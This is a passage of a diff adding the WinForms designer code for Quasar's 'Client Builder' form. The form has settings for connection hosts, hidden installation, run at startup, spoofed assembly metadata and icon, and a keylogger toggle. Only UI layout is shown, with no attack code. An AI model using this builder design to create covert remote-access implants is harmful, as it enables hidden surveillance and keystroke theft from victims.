= Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line3.Location = new System.Drawing.Point(119, 199); + this.line3.Margin = new System.Windows.Forms.Padding(4); + this.line3.Name = "line3"; + this.line3.Size = new System.Drawing.Size(362, 16); + this.line3.TabIndex = 18; + this.line3.TabStop = false; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(8, 199); + this.label4.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(110, 19); + this.label4.TabIndex = 17; + this.label4.Text = "Reconnect Delay"; + // + // line1 + // + this.line1.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line1.Location = new System.Drawing.Point(130, 6); + this.line1.Margin = new System.Windows.Forms.Padding(4); + this.line1.Name = "line1"; + this.line1.Size = new System.Drawing.Size(351, 16); + this.line1.TabIndex = 13; + this.line1.TabStop = false; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(8, 6); + this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(118, 19); + this.label1.TabIndex = 14; + this.label1.Text = "Connection Hosts"; + // + // lstHosts + // + this.lstHosts.ContextMenuStrip = this.contextMenuStrip; + this.lstHosts.FormattingEnabled = true; + this.lstHosts.ItemHeight = 19; + this.lstHosts.Location = new System.Drawing.Point(25, 26); + this.lstHosts.Margin = new System.Windows.Forms.Padding(4); + this.lstHosts.Name = "lstHosts"; + this.lstHosts.Size = new System.Drawing.Size(185, 137); + this.lstHosts.TabIndex = 5; + this.lstHosts.TabStop = false; + // + // btnAddHost + // + this.btnAddHost.Location = new System.Drawing.Point(318, 98); + this.btnAddHost.Margin = new System.Windows.Forms.Padding(4); + this.btnAddHost.Name = "btnAddHost"; + this.btnAddHost.Size = new System.Drawing.Size(161, 28); + this.btnAddHost.TabIndex = 4; + this.btnAddHost.Text = "Add Host"; + this.btnAddHost.UseVisualStyleBackColor = true; + this.btnAddHost.Click += new System.EventHandler(this.btnAddHost_Click); + // + // lblMS + // + this.lblMS.AutoSize = true; + this.lblMS.Location = new System.Drawing.Point(445, 229); + this.lblMS.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblMS.Name = "lblMS"; + this.lblMS.Size = new System.Drawing.Size(27, 19); + this.lblMS.TabIndex = 11; + this.lblMS.Text = "ms"; + // + // lblHost + // + this.lblHost.AutoSize = true; + this.lblHost.Location = new System.Drawing.Point(219, 31); + this.lblHost.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblHost.Name = "lblHost"; + this.lblHost.Size = new System.Drawing.Size(92, 19); + this.lblHost.TabIndex = 0; + this.lblHost.Text = "IP/Hostname:"; + // + // txtHost + // + this.txtHost.Location = new System.Drawing.Point(318, 28); + this.txtHost.Margin = new System.Windows.Forms.Padding(4); + this.txtHost.Name = "txtHost"; + this.txtHost.Size = new System.Drawing.Size(160, 26); + this.txtHost.TabIndex = 1; + // + // lblDelay + // + this.lblDelay.AutoSize = true; + this.lblDelay.Location = new System.Drawing.Point(21, 228); + this.lblDelay.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblDelay.Name = "lblDelay"; + this.lblDelay.Size = new System.Drawing.Size(237, 19); + this.lblDelay.TabIndex = 9; + this.lblDelay.Text = "Time to wait between reconnect tries:"; + // + // lblPort + // + this.lblPort.AutoSize = true; + this.lblPort.Location = new System.Drawing.Point(219, 66); + this.lblPort.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblPort.Name = "lblPort"; + this.lblPort.Size = new System.Drawing.Size(37, 19); + this.lblPort.TabIndex = 2; + this.lblPort.Text = "Port:"; + // + // installationPage + // + this.installationPage.BackColor = System.Drawing.SystemColors.Window; + this.installationPage.Controls.Add(this.chkHideSubDirectory); + this.installationPage.Controls.Add(this.line7); + this.installationPage.Controls.Add(this.label10); + this.installationPage.Controls.Add(this.line4); + this.installationPage.Controls.Add(this.label5); + this.installationPage.Controls.Add(this.picUAC2); + this.installationPage.Controls.Add(this.picUAC1); + this.installationPage.Controls.Add(this.chkInstall); + this.installationPage.Controls.Add(this.rbSystem); + this.installationPage.Controls.Add(this.lblInstallName); + this.installationPage.Controls.Add(this.rbProgramFiles); + this.installationPage.Controls.Add(this.txtInstallName); + this.installationPage.Controls.Add(this.txtRegistryKeyName); + this.installationPage.Controls.Add(this.lblExtension); + this.installationPage.Controls.Add(this.lblRegistryKeyName); + this.installationPage.Controls.Add(this.chkStartup); + this.installationPage.Controls.Add(this.rbAppdata); + this.installationPage.Controls.Add(this.chkHide); + this.installationPage.Controls.Add(this.lblInstallDirectory); + this.installationPage.Controls.Add(this.lblInstallSubDirectory); + this.installationPage.Controls.Add(this.lblPreviewPath); + this.installationPage.Controls.Add(this.txtInstallSubDirectory); + this.installationPage.Controls.Add(this.txtPreviewPath); + this.installationPage.ForeColor = System.Drawing.Color.White; + this.installationPage.Location = new System.Drawing.Point(140, 4); + this.installationPage.Margin = new System.Windows.Forms.Padding(4); + this.installationPage.Name = "installationPage"; + this.installationPage.Padding = new System.Windows.Forms.Padding(4); + this.installationPage.Size = new System.Drawing.Size(525, 459); + this.installationPage.TabIndex = 1; + this.installationPage.Text = "Installation Settings"; + // + // chkHideSubDirectory + // + this.chkHideSubDirectory.AutoSize = true; + this.chkHideSubDirectory.Location = new System.Drawing.Point(232, 231); + this.chkHideSubDirectory.Margin = new System.Windows.Forms.Padding(4); + this.chkHideSubDirectory.Name = "chkHideSubDirectory"; + this.chkHideSubDirectory.Size = new System.Drawing.Size(218, 23); + this.chkHideSubDirectory.TabIndex = 37; + this.chkHideSubDirectory.Text = "Set subdir attributes to hidden"; + this.chkHideSubDirectory.UseVisualStyleBackColor = true; + // + // line7 + // + this.line7.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line7.Location = new System.Drawing.Point(75, 342); + this.line7.Margin = new System.Windows.Forms.Padding(4); + this.line7.Name = "line7"; + this.line7.Size = new System.Drawing.Size(404, 16); + this.line7.TabIndex = 36; + this.line7.TabStop = false; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(9, 342); + this.label10.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(67, 19); + this.label10.TabIndex = 14; + this.label10.Text = "Autostart"; + // + // line4 + // + this.line4.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line4.Location = new System.Drawing.Point(146, 6); + this.line4.Margin = new System.Windows.Forms.Padding(4); + this.line4.Name = "line4"; + this.line4.Size = new System.Drawing.Size(332, 16); + this.line4.TabIndex = 34; + this.line4.TabStop = false; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(8, 6); + this.label5.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(132, 19); + this.label5.TabIndex = 0; + this.label5.Text = "Installation Location"; + // + // chkInstall + // + this.chkInstall.AutoSize = true; + this.chkInstall.Location = new System.Drawing.Point(25, 26); + this.chkInstall.Margin = new System.Windows.Forms.Padding(4); + this.chkInstall.Name = "chkInstall"; + this.chkInstall.Size = new System.Drawing.Size(106, 23); + this.chkInstall.TabIndex = 1; + this.chkInstall.Text = "Install Client"; + this.chkInstall.UseVisualStyleBackColor = true; + this.chkInstall.CheckedChanged += new System.EventHandler(this.chkInstall_CheckedChanged); + // + // lblInstallName + // + this.lblInstallName.AutoSize = true; + this.lblInstallName.Location = new System.Drawing.Point(21, 195); + this.lblInstallName.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblInstallName.Name = "lblInstallName"; + this.lblInstallName.Size = new System.Drawing.Size(88, 19); + this.lblInstallName.TabIndex = 8; + this.lblInstallName.Text = "Install Name:"; + // + // txtInstallName + // + this.txtInstallName.Location = new System.Drawing.Point(228, 191); + this.txtInstallName.Margin = new System.Windows.Forms.Padding(4); + this.txtInstallName.Name = "txtInstallName"; + this.txtInstallName.Size = new System.Drawing.Size(212, 26); + this.txtInstallName.TabIndex = 9; + this.txtInstallName.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + this.txtInstallName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallname_KeyPress); + // + // txtRegistryKeyName + // + this.txtRegistryKeyName.Location = new System.Drawing.Point(228, 405); + this.txtRegistryKeyName.Margin = new System.Windows.Forms.Padding(4); + this.txtRegistryKeyName.Name = "txtRegistryKeyName"; + this.txtRegistryKeyName.Size = new System.Drawing.Size(250, 26); + this.txtRegistryKeyName.TabIndex = 17; + this.txtRegistryKeyName.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblExtension + // + this.lblExtension.AutoSize = true; + this.lblExtension.Location = new System.Drawing.Point(440, 199); + this.lblExtension.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblExtension.Name = "lblExtension"; + this.lblExtension.Size = new System.Drawing.Size(32, 19); + this.lblExtension.TabIndex = 10; + this.lblExtension.Text = ".exe"; + // + // lblRegistryKeyName + // + this.lblRegistryKeyName.AutoSize = true; + this.lblRegistryKeyName.Location = new System.Drawing.Point(21, 409); + this.lblRegistryKeyName.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblRegistryKeyName.Name = "lblRegistryKeyName"; + this.lblRegistryKeyName.Size = new System.Drawing.Size(97, 19); + this.lblRegistryKeyName.TabIndex = 16; + this.lblRegistryKeyName.Text = "Startup Name:"; + // + // chkStartup + // + this.chkStartup.AutoSize = true; + this.chkStartup.Location = new System.Drawing.Point(25, 372); + this.chkStartup.Margin = new System.Windows.Forms.Padding(4); + this.chkStartup.Name = "chkStartup"; + this.chkStartup.Size = new System.Drawing.Size(256, 23); + this.chkStartup.TabIndex = 15; + this.chkStartup.Text = "Run Client when the computer starts"; + this.chkStartup.UseVisualStyleBackColor = true; + this.chkStartup.CheckedChanged += new System.EventHandler(this.chkStartup_CheckedChanged); + // + // rbAppdata + // + this.rbAppdata.AutoSize = true; + this.rbAppdata.Checked = true; + this.rbAppdata.Location = new System.Drawing.Point(301, 56); + this.rbAppdata.Margin = new System.Windows.Forms.Padding(4); + this.rbAppdata.Name = "rbAppdata"; + this.rbAppdata.Size = new System.Drawing.Size(163, 23); + this.rbAppdata.TabIndex = 3; + this.rbAppdata.TabStop = true; + this.rbAppdata.Text = "User Application Data"; + this.rbAppdata.UseVisualStyleBackColor = true; + this.rbAppdata.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + // + // chkHide + // + this.chkHide.AutoSize = true; + this.chkHide.Location = new System.Drawing.Point(25, 231); + this.chkHide.Margin = new System.Windows.Forms.Padding(4); + this.chkHide.Name = "chkHide"; + this.chkHide.Size = new System.Drawing.Size(197, 23); + this.chkHide.TabIndex = 11; + this.chkHide.Text = "Set file attributes to hidden"; + this.chkHide.UseVisualStyleBackColor = true; + this.chkHide.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblInstallDirectory + // + this.lblInstallDirectory.AutoSize = true; + this.lblInstallDirectory.Location = new System.Drawing.Point(21, 59); + this.lblInstallDirectory.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblInstallDirectory.Name = "lblInstallDirectory"; + this.lblInstallDirectory.Size = new System.Drawing.Size(108, 19); + this.lblInstallDirectory.TabIndex = 2; + this.lblInstallDirectory.Text = "Install Directory:"; + // + // lblInstallSubDirectory + // + this.lblInstallSubDirectory.AutoSize = true; + this.lblInstallSubDirectory.Location = new System.Drawing.Point(21, 158); + this.lblInstallSubDirectory.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblInstallSubDirectory.Name = "lblInstallSubDirectory"; + this.lblInstallSubDirectory.Size = new System.Drawing.Size(129, 19); + this.lblInstallSubDirectory.TabIndex = 6; + this.lblInstallSubDirectory.Text = "Install Subdirectory:"; + // + // lblPreviewPath + // + this.lblPreviewPath.AutoSize = true; + this.lblPreviewPath.Location = new System.Drawing.Point(21, 272); + this.lblPreviewPath.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblPreviewPath.Name = "lblPreviewPath"; + this.lblPreviewPath.Size = new System.Drawing.Size(186, 19); + this.lblPreviewPath.TabIndex = 12; + this.lblPreviewPath.Text = "Installation Location Preview:"; + // + // txtInstallSubDirectory + // + this.txtInstallSubDirectory.Location = new System.Drawing.Point(228, 154); + this.txtInstallSubDirectory.Margin = new System.Windows.Forms.Padding(4); + this.txtInstallSubDirectory.Name = "txtInstallSubDirectory"; + this.txtInstallSubDirectory.Size = new System.Drawing.Size(250, 26); + this.txtInstallSubDirectory.TabIndex = 7; + this.txtInstallSubDirectory.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + this.txtInstallSubDirectory.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallsub_KeyPress); + // + // txtPreviewPath + // + this.txtPreviewPath.Location = new System.Drawing.Point(25, 292); + this.txtPreviewPath.Margin = new System.Windows.Forms.Padding(4); + this.txtPreviewPath.Name = "txtPreviewPath"; + this.txtPreviewPath.ReadOnly = true; + this.txtPreviewPath.Size = new System.Drawing.Size(453, 26); + this.txtPreviewPath.TabIndex = 13; + this.txtPreviewPath.TabStop = false; + // + // assemblyPage + // + this.assemblyPage.BackColor = System.Drawing.SystemColors.Window; + this.assemblyPage.Controls.Add(this.iconPreview); + this.assemblyPage.Controls.Add(this.btnBrowseIcon); + this.assemblyPage.Controls.Add(this.txtIconPath); + this.assemblyPage.Controls.Add(this.line8); + this.assemblyPage.Controls.Add(this.label11); + this.assemblyPage.Controls.Add(this.chkChangeAsmInfo); + this.assemblyPage.Controls.Add(this.txtFileVersion); + this.assemblyPage.Controls.Add(this.line9); + this.assemblyPage.Controls.Add(this.lblProductName); + this.assemblyPage.Controls.Add(this.label12); + this.assemblyPage.Controls.Add(this.chkChangeIcon); + this.assemblyPage.Controls.Add(this.lblFileVersion); + this.assemblyPage.Controls.Add(this.txtProductName); + this.assemblyPage.Controls.Add(this.txtProductVersion); + this.assemblyPage.Controls.Add(this.lblDescription); + this.assemblyPage.Controls.Add(this.lblProductVersion); + this.assemblyPage.Controls.Add(this.txtDescription); + this.assemblyPage.Controls.Add(this.txtOriginalFilename); + this.assemblyPage.Controls.Add(this.lblCompanyName); + this.assemblyPage.Controls.Add(this.lblOriginalFilename); + this.assemblyPage.Controls.Add(this.txtCompanyName); + this.assemblyPage.Controls.Add(this.txtTrademarks); + this.assemblyPage.Controls.Add(this.lblCopyright); + this.assemblyPage.Controls.Add(this.lblTrademarks); + this.assemblyPage.Controls.Add(this.txtCopyright); + this.assemblyPage.ForeColor = System.Drawing.Color.White; + this.assemblyPage.Location = new System.Drawing.Point(140, 4); + this.assemblyPage.Margin = new System.Windows.Forms.Padding(4); + this.assemblyPage.Name = "assemblyPage"; + this.assemblyPage.Size = new System.Drawing.Size(525, 459); + this.assemblyPage.TabIndex = 2; + this.assemblyPage.Text = "Assembly Settings"; + // + // iconPreview + // + this.iconPreview.Location = new System.Drawing.Point(399, 378); + this.iconPreview.Margin = new System.Windows.Forms.Padding(4); + this.iconPreview.Name = "iconPreview"; + this.iconPreview.Size = new System.Drawing.Size(80, 80); + this.iconPreview.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.iconPreview.TabIndex = 42; + this.iconPreview.TabStop = false; + // + // btnBrowseIcon + // + this.btnBrowseIcon.Location = new System.Drawing.Point(221, 429); + this.btnBrowseIcon.Margin = new System.Windows.Forms.Padding(4); + this.btnBrowseIcon.Name = "btnBrowseIcon"; + this.btnBrowseIcon.Size = new System.Drawing.Size(156, 29); + this.btnBrowseIcon.TabIndex = 41; + this.btnBrowseIcon.Text = "Browse..."; + this.btnBrowseIcon.UseVisualStyleBackColor = true; + this.btnBrowseIcon.Click += new System.EventHandler(this.btnBrowseIcon_Click); + // + // txtIconPath + // + this.txtIconPath.Location = new System.Drawing.Point(25, 394); + this.txtIconPath.Margin = new System.Windows.Forms.Padding(4); + this.txtIconPath.Name = "txtIconPath"; + this.txtIconPath.Size = new System.Drawing.Size(352, 26); + this.txtIconPath.TabIndex = 39; + // + // line8 + // + this.line8.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line8.Location = new System.Drawing.Point(152, 6); + this.line8.Margin = new System.Windows.Forms.Padding(4); + this.line8.Name = "line8"; + this.line8.Size = new System.Drawing.Size(326, 16); + this.line8.TabIndex = 36; + this.line8.TabStop = false; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(8, 6); + this.label11.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(143, 19); + this.label11.TabIndex = 35; + this.label11.Text = "Assembly Information"; + // + // chkChangeAsmInfo + // + this.chkChangeAsmInfo.AutoSize = true; + this.chkChangeAsmInfo.Location = new System.Drawing.Point(25, 26); + this.chkChangeAsmInfo.Margin = new System.Windows.Forms.Padding(4); + this.chkChangeAsmInfo.Name = "chkChangeAsmInfo"; + this.chkChangeAsmInfo.Size = new System.Drawing.Size(216, 23); + this.chkChangeAsmInfo.TabIndex = 0; + this.chkChangeAsmInfo.Text = "Change Assembly Information"; + this.chkChangeAsmInfo.UseVisualStyleBackColor = true; + this.chkChangeAsmInfo.CheckedChanged += new System.EventHandler(this.chkChangeAsmInfo_CheckedChanged); + // + // txtFileVersion + // + this.txtFileVersion.Location = new System.Drawing.Point(228, 300); + this.txtFileVersion.Margin = new System.Windows.Forms.Padding(4); + this.txtFileVersion.Name = "txtFileVersion"; + this.txtFileVersion.Size = new System.Drawing.Size(250, 26); + this.txtFileVersion.TabIndex = 16; + this.txtFileVersion.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // line9 + // + this.line9.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line9.Location = new System.Drawing.Point(104, 345); + this.line9.Margin = new System.Windows.Forms.Padding(4); + this.line9.Name = "line9"; + this.line9.Size = new System.Drawing.Size(375, 16); + this.line9.TabIndex = 38; + this.line9.TabStop = false; + // + // lblProductName + // + this.lblProductName.AutoSize = true; + this.lblProductName.Location = new System.Drawing.Point(21, 59); + this.lblProductName.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblProductName.Name = "lblProductName"; + this.lblProductName.Size = new System.Drawing.Size(100, 19); + this.lblProductName.TabIndex = 1; + this.lblProductName.Text = "Product Name:"; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(8, 345); + this.label12.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(97, 19); + this.label12.TabIndex = 0; + this.label12.Text = "Assembly Icon"; + // + // chkChangeIcon + // + this.chkChangeIcon.AutoSize = true; + this.chkChangeIcon.Location = new System.Drawing.Point(25, 368); + this.chkChangeIcon.Margin = new System.Windows.Forms.Padding(4); + this.chkChangeIcon.Name = "chkChangeIcon"; + this.chkChangeIcon.Size = new System.Drawing.Size(170, 23); + this.chkChangeIcon.TabIndex = 2; + this.chkChangeIcon.Text = "Change Assembly Icon"; + this.chkChangeIcon.UseVisualStyleBackColor = true; + this.chkChangeIcon.CheckedChanged += new System.EventHandler(this.chkChangeIcon_CheckedChanged); + // + // lblFileVersion + // + this.lblFileVersion.AutoSize = true; + this.lblFileVersion.Location = new System.Drawing.Point(21, 304); + this.lblFileVersion.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblFileVersion.Name = "lblFileVersion"; + this.lblFileVersion.Size = new System.Drawing.Size(81, 19); + this.lblFileVersion.TabIndex = 15; + this.lblFileVersion.Text = "File Version:"; + // + // txtProductName + // + this.txtProductName.Location = new System.Drawing.Point(228, 55); + this.txtProductName.Margin = new System.Windows.Forms.Padding(4); + this.txtProductName.Name = "txtProductName"; + this.txtProductName.Size = new System.Drawing.Size(250, 26); + this.txtProductName.TabIndex = 2; + this.txtProductName.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // txtProductVersion + // + this.txtProductVersion.Location = new System.Drawing.Point(228, 265); + this.txtProductVersion.Margin = new System.Windows.Forms.Padding(4); + this.txtProductVersion.Name = "txtProductVersion"; + this.txtProductVersion.Size = new System.Drawing.Size(250, 26); + this.txtProductVersion.TabIndex = 14; + this.txtProductVersion.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblDescription + // + this.lblDescription.AutoSize = true; + this.lblDescription.Location = new System.Drawing.Point(21, 94); + this.lblDescription.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblDescription.Name = "lblDescription"; + this.lblDescription.Size = new System.Drawing.Size(81, 19); + this.lblDescription.TabIndex = 3; + this.lblDescription.Text = "Description:"; + // + // lblProductVersion + // + this.lblProductVersion.AutoSize = true; + this.lblProductVersion.Location = new System.Drawing.Point(21, 269); + this.lblProductVersion.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblProductVersion.Name = "lblProductVersion"; + this.lblProductVersion.Size = new System.Drawing.Size(109, 19); + this.lblProductVersion.TabIndex = 13; + this.lblProductVersion.Text = "Product Version:"; + // + // txtDescription + // + this.txtDescription.Location = new System.Drawing.Point(228, 90); + this.txtDescription.Margin = new System.Windows.Forms.Padding(4); + this.txtDescription.Name = "txtDescription"; + this.txtDescription.Size = new System.Drawing.Size(250, 26); + this.txtDescription.TabIndex = 4; + this.txtDescription.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // txtOriginalFilename + // + this.txtOriginalFilename.Location = new System.Drawing.Point(228, 230); + this.txtOriginalFilename.Margin = new System.Windows.Forms.Padding(4); + this.txtOriginalFilename.Name = "txtOriginalFilename"; + this.txtOriginalFilename.Size = new System.Drawing.Size(250, 26); + this.txtOriginalFilename.TabIndex = 12; + this.txtOriginalFilename.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblCompanyName + // + this.lblCompanyName.AutoSize = true; + this.lblCompanyName.Location = new System.Drawing.Point(21, 129); + this.lblCompanyName.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblCompanyName.Name = "lblCompanyName"; + this.lblCompanyName.Size = new System.Drawing.Size(111, 19); + this.lblCompanyName.TabIndex = 5; + this.lblCompanyName.Text = "Company Name:"; + // + // lblOriginalFilename + // + this.lblOriginalFilename.AutoSize = true; + this.lblOriginalFilename.Location = new System.Drawing.Point(21, 234); + this.lblOriginalFilename.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblOriginalFilename.Name = "lblOriginalFilename"; + this.lblOriginalFilename.Size = new System.Drawing.Size(118, 19); + this.lblOriginalFilename.TabIndex = 11; + this.lblOriginalFilename.Text = "Original Filename:"; + // + // txtCompanyName + // + this.txtCompanyName.Location = new System.Drawing.Point(228, 125); + this.txtCompanyName.Margin = new System.Windows.Forms.Padding(4); + this.txtCompanyName.Name = "txtCompanyName"; + this.txtCompanyName.Size = new System.Drawing.Size(250, 26); + this.txtCompanyName.TabIndex = 6; + this.txtCompanyName.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // txtTrademarks + // + this.txtTrademarks.Location = new System.Drawing.Point(228, 195); + this.txtTrademarks.Margin = new System.Windows.Forms.Padding(4); + this.txtTrademarks.Name = "txtTrademarks"; + this.txtTrademarks.Size = new System.Drawing.Size(250, 26); + this.txtTrademarks.TabIndex = 10; + this.txtTrademarks.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblCopyright + // + this.lblCopyright.AutoSize = true; + this.lblCopyright.Location = new System.Drawing.Point(21, 164); + this.lblCopyright.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblCopyright.Name = "lblCopyright"; + this.lblCopyright.Size = new System.Drawing.Size(73, 19); + this.lblCopyright.TabIndex = 7; + this.lblCopyright.Text = "Copyright:"; + // + // lblTrademarks + // + this.lblTrademarks.AutoSize = true; + this.lblTrademarks.Location = new System.Drawing.Point(21, 199); + this.lblTrademarks.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTrademarks.Name = "lblTrademarks"; + this.lblTrademarks.Size = new System.Drawing.Size(82, 19); + this.lblTrademarks.TabIndex = 9; + this.lblTrademarks.Text = "Trademarks:"; + // + // txtCopyright + // + this.txtCopyright.Location = new System.Drawing.Point(228, 160); + this.txtCopyright.Margin = new System.Windows.Forms.Padding(4); + this.txtCopyright.Name = "txtCopyright"; + this.txtCopyright.Size = new System.Drawing.Size(250, 26); + this.txtCopyright.TabIndex = 8; + this.txtCopyright.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // monitoringTab + // + this.monitoringTab.BackColor = System.Drawing.Color.Transparent; + this.monitoringTab.Controls.Add(this.chkHideLogDirectory); + this.monitoringTab.Controls.Add(this.txtLogDirectoryName); + this.monitoringTab.Controls.Add(this.lblLogDirectory); + this.monitoringTab.Controls.Add(this.line10); + this.monitoringTab.Controls.Add(this.label14); + this.monitoringTab.Controls.Add(this.chkKeylogger); + this.monitoringTab.ForeColor = System.Drawing.Color.White; + this.monitoringTab.Location = new System.Drawing.Point(140, 4); + this.monitoringTab.Margin = new System.Windows.Forms.Padding(4); + this.monitoringTab.Name = "monitoringTab"; + this.monitoringTab.Size = new System.Drawing.Size(525, 459); + this.monitoringTab.TabIndex = 3; + this.monitoringTab.Text = "Monitoring Settings"; + // + // chkHideLogDirectory + // + this.chkHideLogDirectory.AutoSize = true; + this.chkHideLogDirectory.Location = new System.Drawing.Point(25, 90); + this.chkHideLogDirectory.Margin = new System.Windows.Forms.Padding(4); + this.chkHideLogDirectory.Name = "chkHideLogDirectory"; + this.chkHideLogDirectory.Size = new System.Drawing.Size(234, 23); + this.chkHideLogDirectory.TabIndex = 7; + this.chkHideLogDirectory.Text = "Set directory attributes to hidden"; + this.chkHideLogDirectory.UseVisualStyleBackColor = true; + this.chkHideLogDirectory.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // + // txtLogDirectoryName + // + this.txtLogDirectoryName.Location = new System.Drawing.Point(328, 55); + this.txtLogDirectoryName.Margin = new System.Windows.Forms.Padding(4); + this.txtLogDirectoryName.Name = "txtLogDirectoryName"; + this.txtLogDirectoryName.Size = new System.Drawing.Size(146, 26); + this.txtLogDirectoryName.TabIndex = 6; + this.txtLogDirectoryName.TextChanged += new System.EventHandler(this.HasChangedSetting); + this.txtLogDirectoryName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtLogDirectoryName_KeyPress); + // + // lblLogDirectory + // + this.lblLogDirectory.AutoSize = true; + this.lblLogDirectory.Location = new System.Drawing.Point(21, 59); + this.lblLogDirectory.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblLogDirectory.Name = "lblLogDirectory"; + this.lblLogDirectory.Size = new System.Drawing.Size(135, 19); + this.lblLogDirectory.TabIndex = 5; + this.lblLogDirectory.Text = "Log Directory Name:"; + // + // line10 + // + this.line10.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line10.Location = new System.Drawing.Point(98, 6); + this.line10.Margin = new System.Windows.Forms.Padding(4); + this.line10.Name = "line10"; + this.line10.Size = new System.Drawing.Size(378, 16); + this.line10.TabIndex = 41; + this.line10.TabStop = false; + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(8, 6); + this.label14.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(78, 19); + this.label14.TabIndex = 3; + this.label14.Text = "Monitoring"; + // + // chkKeylogger + // + this.chkKeylogger.AutoSize = true; + this.chkKeylogger.Location = new System.Drawing.Point(25, 26); + this.chkKeylogger.Margin = new System.Windows.Forms.Padding(4); + this.chkKeylogger.Name = "chkKeylogger"; + this.chkKeylogger.Size = new System.Drawing.Size(182, 23); + this.chkKeylogger.TabIndex = 4; + this.chkKeylogger.Text = "Enable keyboard logging"; + this.chkKeylogger.UseVisualStyleBackColor = true; + this.chkKeylogger.CheckedChanged += new System.EventHandler(this.chkKeylogger_CheckedChanged); + // + // FrmBuilder + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(957, 545); + this.Controls.Add(this.builderTabs); + this.Controls.Add(this.btnOpenBuildsFolder); + this.Controls.Add(this.btnBuild); + this.Controls.Add(this.btnSaveProfile); + this.Controls.Add(this.lblOutputFormat); + this.Controls.Add(this.cmbOutputFormat); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(0); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmBuilder"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Client Builder"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmBuilder_FormClosing); + this.Load += new System.EventHandler(this.FrmBuilder_Load); + ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).EndInit(); + this.contextMenuStrip.ResumeLayout(false); + this.builderTabs.ResumeLayout(false); + this.generalPage.ResumeLayout(false); + this.generalPage.PerformLayout(); + this.connectionPage.ResumeLayout(false); + 